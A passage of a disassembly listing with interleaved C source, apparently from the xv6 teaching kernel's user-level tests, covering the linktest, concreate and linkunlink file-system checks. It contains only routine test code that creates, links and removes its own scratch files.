16c9: 83 ec 08 sub $0x8,%esp
16cc: 68 96 4b 00 00 push $0x4b96
16d1: 6a 01 push $0x1
16d3: e8 66 29 00 00 call 403e <printf>
16d8: 83 c4 10 add $0x10,%esp
}
16db: 90 nop
16dc: c9 leave
16dd: c3 ret
000016de <linktest>:
void
linktest(void)
{
16de: 55 push %ebp
16df: 89 e5 mov %esp,%ebp
16e1: 83 ec 18 sub $0x18,%esp
int fd;
printf(1, "linktest\n");
16e4: 83 ec 08 sub $0x8,%esp
16e7: 68 a5 4b 00 00 push $0x4ba5
16ec: 6a 01 push $0x1
16ee: e8 4b 29 00 00 call 403e <printf>
16f3: 83 c4 10 add $0x10,%esp
unlink("lf1");
16f6: 83 ec 0c sub $0xc,%esp
16f9: 68 af 4b 00 00 push $0x4baf
16fe: e8 18 28 00 00 call 3f1b <unlink>
1703: 83 c4 10 add $0x10,%esp
unlink("lf2");
1706: 83 ec 0c sub $0xc,%esp
1709: 68 b3 4b 00 00 push $0x4bb3
170e: e8 08 28 00 00 call 3f1b <unlink>
1713: 83 c4 10 add $0x10,%esp
fd = open("lf1", O_CREATE|O_RDWR);
1716: 83 ec 08 sub $0x8,%esp
1719: 68 02 02 00 00 push $0x202
171e: 68 af 4b 00 00 push $0x4baf
1723: e8 e3 27 00 00 call 3f0b <open>
1728: 83 c4 10 add $0x10,%esp
172b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
172e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1732: 79 17 jns 174b <linktest+0x6d>
printf(1, "create lf1 failed\n");
1734: 83 ec 08 sub $0x8,%esp
1737: 68 b7 4b 00 00 push $0x4bb7
173c: 6a 01 push $0x1
173e: e8 fb 28 00 00 call 403e <printf>
1743: 83 c4 10 add $0x10,%esp
exit();
1746: e8 80 27 00 00 call 3ecb <exit>
}
if(write(fd, "hello", 5) != 5){
174b: 83 ec 04 sub $0x4,%esp
174e: 6a 05 push $0x5
1750: 68 13 4b 00 00 push $0x4b13
1755: ff 75 f4 pushl -0xc(%ebp)
1758: e8 8e 27 00 00 call 3eeb <write>
175d: 83 c4 10 add $0x10,%esp
1760: 83 f8 05 cmp $0x5,%eax
1763: 74 17 je 177c <linktest+0x9e>
printf(1, "write lf1 failed\n");
1765: 83 ec 08 sub $0x8,%esp
1768: 68 ca 4b 00 00 push $0x4bca
176d: 6a 01 push $0x1
176f: e8 ca 28 00 00 call 403e <printf>
1774: 83 c4 10 add $0x10,%esp
exit();
1777: e8 4f 27 00 00 call 3ecb <exit>
}
close(fd);
177c: 83 ec 0c sub $0xc,%esp
177f: ff 75 f4 pushl -0xc(%ebp)
1782: e8 6c 27 00 00 call 3ef3 <close>
1787: 83 c4 10 add $0x10,%esp
if(link("lf1", "lf2") < 0){
178a: 83 ec 08 sub $0x8,%esp
178d: 68 b3 4b 00 00 push $0x4bb3
1792: 68 af 4b 00 00 push $0x4baf
1797: e8 8f 27 00 00 call 3f2b <link>
179c: 83 c4 10 add $0x10,%esp
179f: 85 c0 test %eax,%eax
17a1: 79 17 jns 17ba <linktest+0xdc>
printf(1, "link lf1 lf2 failed\n");
17a3: 83 ec 08 sub $0x8,%esp
17a6: 68 dc 4b 00 00 push $0x4bdc
17ab: 6a 01 push $0x1
17ad: e8 8c 28 00 00 call 403e <printf>
17b2: 83 c4 10 add $0x10,%esp
exit();
17b5: e8 11 27 00 00 call 3ecb <exit>
}
unlink("lf1");
17ba: 83 ec 0c sub $0xc,%esp
17bd: 68 af 4b 00 00 push $0x4baf
17c2: e8 54 27 00 00 call 3f1b <unlink>
17c7: 83 c4 10 add $0x10,%esp
if(open("lf1", 0) >= 0){
17ca: 83 ec 08 sub $0x8,%esp
17cd: 6a 00 push $0x0
17cf: 68 af 4b 00 00 push $0x4baf
17d4: e8 32 27 00 00 call 3f0b <open>
17d9: 83 c4 10 add $0x10,%esp
17dc: 85 c0 test %eax,%eax
17de: 78 17 js 17f7 <linktest+0x119>
printf(1, "unlinked lf1 but it is still there!\n");
17e0: 83 ec 08 sub $0x8,%esp
17e3: 68 f4 4b 00 00 push $0x4bf4
17e8: 6a 01 push $0x1
17ea: e8 4f 28 00 00 call 403e <printf>
17ef: 83 c4 10 add $0x10,%esp
exit();
17f2: e8 d4 26 00 00 call 3ecb <exit>
}
fd = open("lf2", 0);
17f7: 83 ec 08 sub $0x8,%esp
17fa: 6a 00 push $0x0
17fc: 68 b3 4b 00 00 push $0x4bb3
1801: e8 05 27 00 00 call 3f0b <open>
1806: 83 c4 10 add $0x10,%esp
1809: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
180c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1810: 79 17 jns 1829 <linktest+0x14b>
printf(1, "open lf2 failed\n");
1812: 83 ec 08 sub $0x8,%esp
1815: 68 19 4c 00 00 push $0x4c19
181a: 6a 01 push $0x1
181c: e8 1d 28 00 00 call 403e <printf>
1821: 83 c4 10 add $0x10,%esp
exit();
1824: e8 a2 26 00 00 call 3ecb <exit>
}
if(read(fd, buf, sizeof(buf)) != 5){
1829: 83 ec 04 sub $0x4,%esp
182c: 68 00 20 00 00 push $0x2000
1831: 68 a0 8a 00 00 push $0x8aa0
1836: ff 75 f4 pushl -0xc(%ebp)
1839: e8 a5 26 00 00 call 3ee3 <read>
183e: 83 c4 10 add $0x10,%esp
1841: 83 f8 05 cmp $0x5,%eax
1844: 74 17 je 185d <linktest+0x17f>
printf(1, "read lf2 failed\n");
1846: 83 ec 08 sub $0x8,%esp
1849: 68 2a 4c 00 00 push $0x4c2a
184e: 6a 01 push $0x1
1850: e8 e9 27 00 00 call 403e <printf>
1855: 83 c4 10 add $0x10,%esp
exit();
1858: e8 6e 26 00 00 call 3ecb <exit>
}
close(fd);
185d: 83 ec 0c sub $0xc,%esp
1860: ff 75 f4 pushl -0xc(%ebp)
1863: e8 8b 26 00 00 call 3ef3 <close>
1868: 83 c4 10 add $0x10,%esp
if(link("lf2", "lf2") >= 0){
186b: 83 ec 08 sub $0x8,%esp
186e: 68 b3 4b 00 00 push $0x4bb3
1873: 68 b3 4b 00 00 push $0x4bb3
1878: e8 ae 26 00 00 call 3f2b <link>
187d: 83 c4 10 add $0x10,%esp
1880: 85 c0 test %eax,%eax
1882: 78 17 js 189b <linktest+0x1bd>
printf(1, "link lf2 lf2 succeeded! oops\n");
1884: 83 ec 08 sub $0x8,%esp
1887: 68 3b 4c 00 00 push $0x4c3b
188c: 6a 01 push $0x1
188e: e8 ab 27 00 00 call 403e <printf>
1893: 83 c4 10 add $0x10,%esp
exit();
1896: e8 30 26 00 00 call 3ecb <exit>
}
unlink("lf2");
189b: 83 ec 0c sub $0xc,%esp
189e: 68 b3 4b 00 00 push $0x4bb3
18a3: e8 73 26 00 00 call 3f1b <unlink>
18a8: 83 c4 10 add $0x10,%esp
if(link("lf2", "lf1") >= 0){
18ab: 83 ec 08 sub $0x8,%esp
18ae: 68 af 4b 00 00 push $0x4baf
18b3: 68 b3 4b 00 00 push $0x4bb3
18b8: e8 6e 26 00 00 call 3f2b <link>
18bd: 83 c4 10 add $0x10,%esp
18c0: 85 c0 test %eax,%eax
18c2: 78 17 js 18db <linktest+0x1fd>
printf(1, "link non-existant succeeded! oops\n");
18c4: 83 ec 08 sub $0x8,%esp
18c7: 68 5c 4c 00 00 push $0x4c5c
18cc: 6a 01 push $0x1
18ce: e8 6b 27 00 00 call 403e <printf>
18d3: 83 c4 10 add $0x10,%esp
exit();
18d6: e8 f0 25 00 00 call 3ecb <exit>
}
if(link(".", "lf1") >= 0){
18db: 83 ec 08 sub $0x8,%esp
18de: 68 af 4b 00 00 push $0x4baf
18e3: 68 7f 4c 00 00 push $0x4c7f
18e8: e8 3e 26 00 00 call 3f2b <link>
18ed: 83 c4 10 add $0x10,%esp
18f0: 85 c0 test %eax,%eax
18f2: 78 17 js 190b <linktest+0x22d>
printf(1, "link . lf1 succeeded! oops\n");
18f4: 83 ec 08 sub $0x8,%esp
18f7: 68 81 4c 00 00 push $0x4c81
18fc: 6a 01 push $0x1
18fe: e8 3b 27 00 00 call 403e <printf>
1903: 83 c4 10 add $0x10,%esp
exit();
1906: e8 c0 25 00 00 call 3ecb <exit>
}
printf(1, "linktest ok\n");
190b: 83 ec 08 sub $0x8,%esp
190e: 68 9d 4c 00 00 push $0x4c9d
1913: 6a 01 push $0x1
1915: e8 24 27 00 00 call 403e <printf>
191a: 83 c4 10 add $0x10,%esp
}
191d: 90 nop
191e: c9 leave
191f: c3 ret
00001920 <concreate>:
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
1920: 55 push %ebp
1921: 89 e5 mov %esp,%ebp
1923: 83 ec 58 sub $0x58,%esp
struct {
ushort inum;
char name[14];
} de;
printf(1, "concreate test\n");
1926: 83 ec 08 sub $0x8,%esp
1929: 68 aa 4c 00 00 push $0x4caa
192e: 6a 01 push $0x1
1930: e8 09 27 00 00 call 403e <printf>
1935: 83 c4 10 add $0x10,%esp
file[0] = 'C';
1938: c6 45 e5 43 movb $0x43,-0x1b(%ebp)
file[2] = '\0';
193c: c6 45 e7 00 movb $0x0,-0x19(%ebp)
for(i = 0; i < 40; i++){
1940: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1947: e9 fc 00 00 00 jmp 1a48 <concreate+0x128>
file[1] = '0' + i;
194c: 8b 45 f4 mov -0xc(%ebp),%eax
194f: 83 c0 30 add $0x30,%eax
1952: 88 45 e6 mov %al,-0x1a(%ebp)
unlink(file);
1955: 83 ec 0c sub $0xc,%esp
1958: 8d 45 e5 lea -0x1b(%ebp),%eax
195b: 50 push %eax
195c: e8 ba 25 00 00 call 3f1b <unlink>
1961: 83 c4 10 add $0x10,%esp
pid = fork();
1964: e8 5a 25 00 00 call 3ec3 <fork>
1969: 89 45 ec mov %eax,-0x14(%ebp)
if(pid && (i % 3) == 1){
196c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1970: 74 3b je 19ad <concreate+0x8d>
1972: 8b 4d f4 mov -0xc(%ebp),%ecx
1975: ba 56 55 55 55 mov $0x55555556,%edx
197a: 89 c8 mov %ecx,%eax
197c: f7 ea imul %edx
197e: 89 c8 mov %ecx,%eax
1980: c1 f8 1f sar $0x1f,%eax
1983: 29 c2 sub %eax,%edx
1985: 89 d0 mov %edx,%eax
1987: 01 c0 add %eax,%eax
1989: 01 d0 add %edx,%eax
198b: 29 c1 sub %eax,%ecx
198d: 89 ca mov %ecx,%edx
198f: 83 fa 01 cmp $0x1,%edx
1992: 75 19 jne 19ad <concreate+0x8d>
link("C0", file);
1994: 83 ec 08 sub $0x8,%esp
1997: 8d 45 e5 lea -0x1b(%ebp),%eax
199a: 50 push %eax
199b: 68 ba 4c 00 00 push $0x4cba
19a0: e8 86 25 00 00 call 3f2b <link>
19a5: 83 c4 10 add $0x10,%esp
19a8: e9 87 00 00 00 jmp 1a34 <concreate+0x114>
} else if(pid == 0 && (i % 5) == 1){
19ad: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
19b1: 75 3b jne 19ee <concreate+0xce>
19b3: 8b 4d f4 mov -0xc(%ebp),%ecx
19b6: ba 67 66 66 66 mov $0x66666667,%edx
19bb: 89 c8 mov %ecx,%eax
19bd: f7 ea imul %edx
19bf: d1 fa sar %edx
19c1: 89 c8 mov %ecx,%eax
19c3: c1 f8 1f sar $0x1f,%eax
19c6: 29 c2 sub %eax,%edx
19c8: 89 d0 mov %edx,%eax
19ca: c1 e0 02 shl $0x2,%eax
19cd: 01 d0 add %edx,%eax
19cf: 29 c1 sub %eax,%ecx
19d1: 89 ca mov %ecx,%edx
19d3: 83 fa 01 cmp $0x1,%edx
19d6: 75 16 jne 19ee <concreate+0xce>
link("C0", file);
19d8: 83 ec 08 sub $0x8,%esp
19db: 8d 45 e5 lea -0x1b(%ebp),%eax
19de: 50 push %eax
19df: 68 ba 4c 00 00 push $0x4cba
19e4: e8 42 25 00 00 call 3f2b <link>
19e9: 83 c4 10 add $0x10,%esp
19ec: eb 46 jmp 1a34 <concreate+0x114>
} else {
fd = open(file, O_CREATE | O_RDWR);
19ee: 83 ec 08 sub $0x8,%esp
19f1: 68 02 02 00 00 push $0x202
19f6: 8d 45 e5 lea -0x1b(%ebp),%eax
19f9: 50 push %eax
19fa: e8 0c 25 00 00 call 3f0b <open>
19ff: 83 c4 10 add $0x10,%esp
1a02: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1a05: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1a09: 79 1b jns 1a26 <concreate+0x106>
printf(1, "concreate create %s failed\n", file);
1a0b: 83 ec 04 sub $0x4,%esp
1a0e: 8d 45 e5 lea -0x1b(%ebp),%eax
1a11: 50 push %eax
1a12: 68 bd 4c 00 00 push $0x4cbd
1a17: 6a 01 push $0x1
1a19: e8 20 26 00 00 call 403e <printf>
1a1e: 83 c4 10 add $0x10,%esp
exit();
1a21: e8 a5 24 00 00 call 3ecb <exit>
}
close(fd);
1a26: 83 ec 0c sub $0xc,%esp
1a29: ff 75 e8 pushl -0x18(%ebp)
1a2c: e8 c2 24 00 00 call 3ef3 <close>
1a31: 83 c4 10 add $0x10,%esp
}
if(pid == 0)
1a34: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1a38: 75 05 jne 1a3f <concreate+0x11f>
exit();
1a3a: e8 8c 24 00 00 call 3ecb <exit>
else
wait();
1a3f: e8 8f 24 00 00 call 3ed3 <wait>
for(i = 0; i < 40; i++){
1a44: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1a48: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
1a4c: 0f 8e fa fe ff ff jle 194c <concreate+0x2c>
}
memset(fa, 0, sizeof(fa));
1a52: 83 ec 04 sub $0x4,%esp
1a55: 6a 28 push $0x28
1a57: 6a 00 push $0x0
1a59: 8d 45 bd lea -0x43(%ebp),%eax
1a5c: 50 push %eax
1a5d: e8 ce 22 00 00 call 3d30 <memset>
1a62: 83 c4 10 add $0x10,%esp
fd = open(".", 0);
1a65: 83 ec 08 sub $0x8,%esp
1a68: 6a 00 push $0x0
1a6a: 68 7f 4c 00 00 push $0x4c7f
1a6f: e8 97 24 00 00 call 3f0b <open>
1a74: 83 c4 10 add $0x10,%esp
1a77: 89 45 e8 mov %eax,-0x18(%ebp)
n = 0;
1a7a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
1a81: e9 93 00 00 00 jmp 1b19 <concreate+0x1f9>
if(de.inum == 0)
1a86: 0f b7 45 ac movzwl -0x54(%ebp),%eax
1a8a: 66 85 c0 test %ax,%ax
1a8d: 75 05 jne 1a94 <concreate+0x174>
continue;
1a8f: e9 85 00 00 00 jmp 1b19 <concreate+0x1f9>
if(de.name[0] == 'C' && de.name[2] == '\0'){
1a94: 0f b6 45 ae movzbl -0x52(%ebp),%eax
1a98: 3c 43 cmp $0x43,%al
1a9a: 75 7d jne 1b19 <concreate+0x1f9>
1a9c: 0f b6 45 b0 movzbl -0x50(%ebp),%eax
1aa0: 84 c0 test %al,%al
1aa2: 75 75 jne 1b19 <concreate+0x1f9>
i = de.name[1] - '0';
1aa4: 0f b6 45 af movzbl -0x51(%ebp),%eax
1aa8: 0f be c0 movsbl %al,%eax
1aab: 83 e8 30 sub $0x30,%eax
1aae: 89 45 f4 mov %eax,-0xc(%ebp)
if(i < 0 || i >= sizeof(fa)){
1ab1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1ab5: 78 08 js 1abf <concreate+0x19f>
1ab7: 8b 45 f4 mov -0xc(%ebp),%eax
1aba: 83 f8 27 cmp $0x27,%eax
1abd: 76 1e jbe 1add <concreate+0x1bd>
printf(1, "concreate weird file %s\n", de.name);
1abf: 83 ec 04 sub $0x4,%esp
1ac2: 8d 45 ac lea -0x54(%ebp),%eax
1ac5: 83 c0 02 add $0x2,%eax
1ac8: 50 push %eax
1ac9: 68 d9 4c 00 00 push $0x4cd9
1ace: 6a 01 push $0x1
1ad0: e8 69 25 00 00 call 403e <printf>
1ad5: 83 c4 10 add $0x10,%esp
exit();
1ad8: e8 ee 23 00 00 call 3ecb <exit>
}
if(fa[i]){
1add: 8d 55 bd lea -0x43(%ebp),%edx
1ae0: 8b 45 f4 mov -0xc(%ebp),%eax
1ae3: 01 d0 add %edx,%eax
1ae5: 0f b6 00 movzbl (%eax),%eax
1ae8: 84 c0 test %al,%al
1aea: 74 1e je 1b0a <concreate+0x1ea>
printf(1, "concreate duplicate file %s\n", de.name);
1aec: 83 ec 04 sub $0x4,%esp
1aef: 8d 45 ac lea -0x54(%ebp),%eax
1af2: 83 c0 02 add $0x2,%eax
1af5: 50 push %eax
1af6: 68 f2 4c 00 00 push $0x4cf2
1afb: 6a 01 push $0x1
1afd: e8 3c 25 00 00 call 403e <printf>
1b02: 83 c4 10 add $0x10,%esp
exit();
1b05: e8 c1 23 00 00 call 3ecb <exit>
}
fa[i] = 1;
1b0a: 8d 55 bd lea -0x43(%ebp),%edx
1b0d: 8b 45 f4 mov -0xc(%ebp),%eax
1b10: 01 d0 add %edx,%eax
1b12: c6 00 01 movb $0x1,(%eax)
n++;
1b15: 83 45 f0 01 addl $0x1,-0x10(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
1b19: 83 ec 04 sub $0x4,%esp
1b1c: 6a 10 push $0x10
1b1e: 8d 45 ac lea -0x54(%ebp),%eax
1b21: 50 push %eax
1b22: ff 75 e8 pushl -0x18(%ebp)
1b25: e8 b9 23 00 00 call 3ee3 <read>
1b2a: 83 c4 10 add $0x10,%esp
1b2d: 85 c0 test %eax,%eax
1b2f: 0f 8f 51 ff ff ff jg 1a86 <concreate+0x166>
}
}
close(fd);
1b35: 83 ec 0c sub $0xc,%esp
1b38: ff 75 e8 pushl -0x18(%ebp)
1b3b: e8 b3 23 00 00 call 3ef3 <close>
1b40: 83 c4 10 add $0x10,%esp
if(n != 40){
1b43: 83 7d f0 28 cmpl $0x28,-0x10(%ebp)
1b47: 74 17 je 1b60 <concreate+0x240>
printf(1, "concreate not enough files in directory listing\n");
1b49: 83 ec 08 sub $0x8,%esp
1b4c: 68 10 4d 00 00 push $0x4d10
1b51: 6a 01 push $0x1
1b53: e8 e6 24 00 00 call 403e <printf>
1b58: 83 c4 10 add $0x10,%esp
exit();
1b5b: e8 6b 23 00 00 call 3ecb <exit>
}
for(i = 0; i < 40; i++){
1b60: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1b67: e9 45 01 00 00 jmp 1cb1 <concreate+0x391>
file[1] = '0' + i;
1b6c: 8b 45 f4 mov -0xc(%ebp),%eax
1b6f: 83 c0 30 add $0x30,%eax
1b72: 88 45 e6 mov %al,-0x1a(%ebp)
pid = fork();
1b75: e8 49 23 00 00 call 3ec3 <fork>
1b7a: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
1b7d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1b81: 79 17 jns 1b9a <concreate+0x27a>
printf(1, "fork failed\n");
1b83: 83 ec 08 sub $0x8,%esp
1b86: 68 95 44 00 00 push $0x4495
1b8b: 6a 01 push $0x1
1b8d: e8 ac 24 00 00 call 403e <printf>
1b92: 83 c4 10 add $0x10,%esp
exit();
1b95: e8 31 23 00 00 call 3ecb <exit>
}
if(((i % 3) == 0 && pid == 0) ||
1b9a: 8b 4d f4 mov -0xc(%ebp),%ecx
1b9d: ba 56 55 55 55 mov $0x55555556,%edx
1ba2: 89 c8 mov %ecx,%eax
1ba4: f7 ea imul %edx
1ba6: 89 c8 mov %ecx,%eax
1ba8: c1 f8 1f sar $0x1f,%eax
1bab: 29 c2 sub %eax,%edx
1bad: 89 d0 mov %edx,%eax
1baf: 89 c2 mov %eax,%edx
1bb1: 01 d2 add %edx,%edx
1bb3: 01 c2 add %eax,%edx
1bb5: 89 c8 mov %ecx,%eax
1bb7: 29 d0 sub %edx,%eax
1bb9: 85 c0 test %eax,%eax
1bbb: 75 06 jne 1bc3 <concreate+0x2a3>
1bbd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1bc1: 74 28 je 1beb <concreate+0x2cb>
((i % 3) == 1 && pid != 0)){
1bc3: 8b 4d f4 mov -0xc(%ebp),%ecx
1bc6: ba 56 55 55 55 mov $0x55555556,%edx
1bcb: 89 c8 mov %ecx,%eax
1bcd: f7 ea imul %edx
1bcf: 89 c8 mov %ecx,%eax
1bd1: c1 f8 1f sar $0x1f,%eax
1bd4: 29 c2 sub %eax,%edx
1bd6: 89 d0 mov %edx,%eax
1bd8: 01 c0 add %eax,%eax
1bda: 01 d0 add %edx,%eax
1bdc: 29 c1 sub %eax,%ecx
1bde: 89 ca mov %ecx,%edx
if(((i % 3) == 0 && pid == 0) ||
1be0: 83 fa 01 cmp $0x1,%edx
1be3: 75 7c jne 1c61 <concreate+0x341>
((i % 3) == 1 && pid != 0)){
1be5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1be9: 74 76 je 1c61 <concreate+0x341>
close(open(file, 0));
1beb: 83 ec 08 sub $0x8,%esp
1bee: 6a 00 push $0x0
1bf0: 8d 45 e5 lea -0x1b(%ebp),%eax
1bf3: 50 push %eax
1bf4: e8 12 23 00 00 call 3f0b <open>
1bf9: 83 c4 10 add $0x10,%esp
1bfc: 83 ec 0c sub $0xc,%esp
1bff: 50 push %eax
1c00: e8 ee 22 00 00 call 3ef3 <close>
1c05: 83 c4 10 add $0x10,%esp
close(open(file, 0));
1c08: 83 ec 08 sub $0x8,%esp
1c0b: 6a 00 push $0x0
1c0d: 8d 45 e5 lea -0x1b(%ebp),%eax
1c10: 50 push %eax
1c11: e8 f5 22 00 00 call 3f0b <open>
1c16: 83 c4 10 add $0x10,%esp
1c19: 83 ec 0c sub $0xc,%esp
1c1c: 50 push %eax
1c1d: e8 d1 22 00 00 call 3ef3 <close>
1c22: 83 c4 10 add $0x10,%esp
close(open(file, 0));
1c25: 83 ec 08 sub $0x8,%esp
1c28: 6a 00 push $0x0
1c2a: 8d 45 e5 lea -0x1b(%ebp),%eax
1c2d: 50 push %eax
1c2e: e8 d8 22 00 00 call 3f0b <open>
1c33: 83 c4 10 add $0x10,%esp
1c36: 83 ec 0c sub $0xc,%esp
1c39: 50 push %eax
1c3a: e8 b4 22 00 00 call 3ef3 <close>
1c3f: 83 c4 10 add $0x10,%esp
close(open(file, 0));
1c42: 83 ec 08 sub $0x8,%esp
1c45: 6a 00 push $0x0
1c47: 8d 45 e5 lea -0x1b(%ebp),%eax
1c4a: 50 push %eax
1c4b: e8 bb 22 00 00 call 3f0b <open>
1c50: 83 c4 10 add $0x10,%esp
1c53: 83 ec 0c sub $0xc,%esp
1c56: 50 push %eax
1c57: e8 97 22 00 00 call 3ef3 <close>
1c5c: 83 c4 10 add $0x10,%esp
1c5f: eb 3c jmp 1c9d <concreate+0x37d>
} else {
unlink(file);
1c61: 83 ec 0c sub $0xc,%esp
1c64: 8d 45 e5 lea -0x1b(%ebp),%eax
1c67: 50 push %eax
1c68: e8 ae 22 00 00 call 3f1b <unlink>
1c6d: 83 c4 10 add $0x10,%esp
unlink(file);
1c70: 83 ec 0c sub $0xc,%esp
1c73: 8d 45 e5 lea -0x1b(%ebp),%eax
1c76: 50 push %eax
1c77: e8 9f 22 00 00 call 3f1b <unlink>
1c7c: 83 c4 10 add $0x10,%esp
unlink(file);
1c7f: 83 ec 0c sub $0xc,%esp
1c82: 8d 45 e5 lea -0x1b(%ebp),%eax
1c85: 50 push %eax
1c86: e8 90 22 00 00 call 3f1b <unlink>
1c8b: 83 c4 10 add $0x10,%esp
unlink(file);
1c8e: 83 ec 0c sub $0xc,%esp
1c91: 8d 45 e5 lea -0x1b(%ebp),%eax
1c94: 50 push %eax
1c95: e8 81 22 00 00 call 3f1b <unlink>
1c9a: 83 c4 10 add $0x10,%esp
}
if(pid == 0)
1c9d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1ca1: 75 05 jne 1ca8 <concreate+0x388>
exit();
1ca3: e8 23 22 00 00 call 3ecb <exit>
else
wait();
1ca8: e8 26 22 00 00 call 3ed3 <wait>
for(i = 0; i < 40; i++){
1cad: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1cb1: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
1cb5: 0f 8e b1 fe ff ff jle 1b6c <concreate+0x24c>
}
printf(1, "concreate ok\n");
1cbb: 83 ec 08 sub $0x8,%esp
1cbe: 68 41 4d 00 00 push $0x4d41
1cc3: 6a 01 push $0x1
1cc5: e8 74 23 00 00 call 403e <printf>
1cca: 83 c4 10 add $0x10,%esp
}
1ccd: 90 nop
1cce: c9 leave
1ccf: c3 ret
00001cd0 <linkunlink>:
// another concurrent link/unlink/create test,
// to look for deadlocks.
void
linkunlink()
{
1cd0: 55 push %ebp
1cd1: 89 e5 mov %esp,%ebp
1cd3: 83 ec 18 sub $0x18,%esp
int pid, i;
printf(1, "linkunlink test\n");
1cd6: 83 ec 08 sub $0x8,%esp
1cd9: 68 4f 4d 00 00 push $0x4d4f
1cde: 6a 01 push $0x1
1ce0: e8 59 23 00 00 call 403e <printf>
1ce5: 83 c4 10 add $0x10,%esp
unlink("x");
1ce8: 83 ec 0c sub $0xc,%esp
1ceb: 68 cb 48 00 00 push $0x48cb
1cf0: e8 26 22 00 00 call 3f1b <unlink>
1cf5: 83 c4 10 add $0x10,%esp
pid = fork();
1cf8: e8 c6 21 00 00 call 3ec3 <fork>
1cfd: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
1d00: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1d04: 79 17 jns 1d1d <linkunlink+0x4d>
printf(1, "fork failed\n");
1d06: 83 ec 08 sub $0x8,%esp
1d09: 68 95 44 00 00 push $0x4495
1d0e: 6a 01 push $0x1
1d10: e8 29 23 00 00 call 403e <printf>
1d15: 83 c4 10 add $0x10,%esp
exit();
1d18: e8 ae 21 00 00 call 3ecb <exit>
}
unsigned int x = (pid ? 1 : 97);
1d1d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1d21: 74 07 je 1d2a <linkunlink+0x5a>
1d23: b8 01 00 00 00 mov $0x1,%eax
1d28: eb 05 jmp 1d2f <linkunlink+0x5f>
1d2a: b8 61 00 00 00 mov $0x61,%eax
1d2f: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 100; i++){
1d32: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1d39: e9 9a 00 00 00 jmp 1dd8 <linkunlink+0x108>
x = x * 1103515245 + 12345;
1d3e: 8b 45 f0 mov -0x10(%ebp),%eax
1d41: 69 c0 6d 4e c6 41 imul $0x41c64e6d,%eax,%eax
1d47: 05 39 30 00 00 add $0x3039,%eax
1d4c: 89 45 f0 mov %eax,-0x10(%ebp)
if((x % 3) == 0){
1d4f: 8b 4d f0 mov -0x10(%ebp),%ecx
1d52: ba ab aa aa aa mov $0xaaaaaaab,%edx
1d57: 89 c8 mov %ecx,%eax
1d59: f7 e2 mul %edx
1d5b: 89 d0 mov %edx,%eax
1d5d: d1 e8 shr %eax
1d5f: 89 c2 mov %eax,%edx
1d61: 01 d2 add %edx,%edx
1d63: 01 c2 add %eax,%edx
1d65: 89 c8 mov %ecx,%eax
1d67: 29 d0 sub %edx,%eax
1d69: 85 c0 test %eax,%eax
1d6b: 75 23 jne 1d90 <linkunlink+0xc0>
close(open("x", O_RDWR | O_CREATE));
1d6d: 83 ec 08 sub $0x8,%esp
1d70: 68 02 02 00 00 push $0x202
1d75: 68 cb 48 00 00 push $0x48cb
1d7a: e8 8c 21 00 00 call 3f0b <open>
1d7f: 83 c4 10 add $0x10,%esp
1d82: 83 ec 0c sub $0xc,%esp
1d85: 50 push %eax
1d86: e8 68 21 00 00 call 3ef3 <close>
1d8b: 83 c4 10 add $0x10,%esp
1d8e: eb 44 jmp 1dd4 <linkunlink+0x104>
} else if((x % 3) == 1){
1d90: 8b 4d f0 mov -0x10(%ebp),%ecx
1d93: ba ab aa aa aa mov $0xaaaaaaab,%edx
1d98: 89 c8 mov %ecx,%eax
1d9a: f7 e2 mul %edx
1d9c: d1 ea shr %edx
1d9e: 89 d0 mov %edx,%eax
1da0: 01 c0 add %eax,%eax
1da2: 01 d0 add %edx,%eax
1da4: 29 c1 sub %eax,%ecx
1da6: 89 ca mov %ecx,%edx
1da8: 83 fa 01 cmp $0x1,%edx
1dab: 75 17 jne 1dc4 <linkunlink+0xf4>
link("cat", "x");
1dad: 83 ec 08 sub $0x8,%esp
1db0: 68 cb 48 00 00 push $0x48cb
1db5: 68 60 4d 00 00 push $0x4d60
1dba: e8 6c 21 00 00 call 3f2b <link>
1dbf: 83 c4 10 add $0x10,%esp
1dc2: eb 10 jmp 1dd4 <linkunlink+0x104>
} else {
unlink("x");
1dc4: 83 ec 0c sub $0xc,%esp
1dc7: 68 cb 48 00 00 push $0x48cb
1dcc: e8 4a 21 00 00 call 3f1b <unlink>
1dd1: 83 c4 10 add $0x10,%esp
for(i = 0; i < 100; i++){
1dd4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1dd8: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
1ddc: 0f 8e 5c ff ff ff jle 1d3e <linkunlink+0x6e>
}
}
if(pid)
1de2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1de6: 74 07 je 1def <linkunlink+0x11f>
wait();
1de8: e8 e6 20 00 00 call 3ed3 <wait>
1ded: eb 05 jmp 1df4 <linkunlink+0x124>
else
exit();
1def: e8 d7 20 00 00 call 3ecb <exit>
printf(1, "linkunlink ok\n");
1df4: 83 ec 08 sub $0x8,%esp
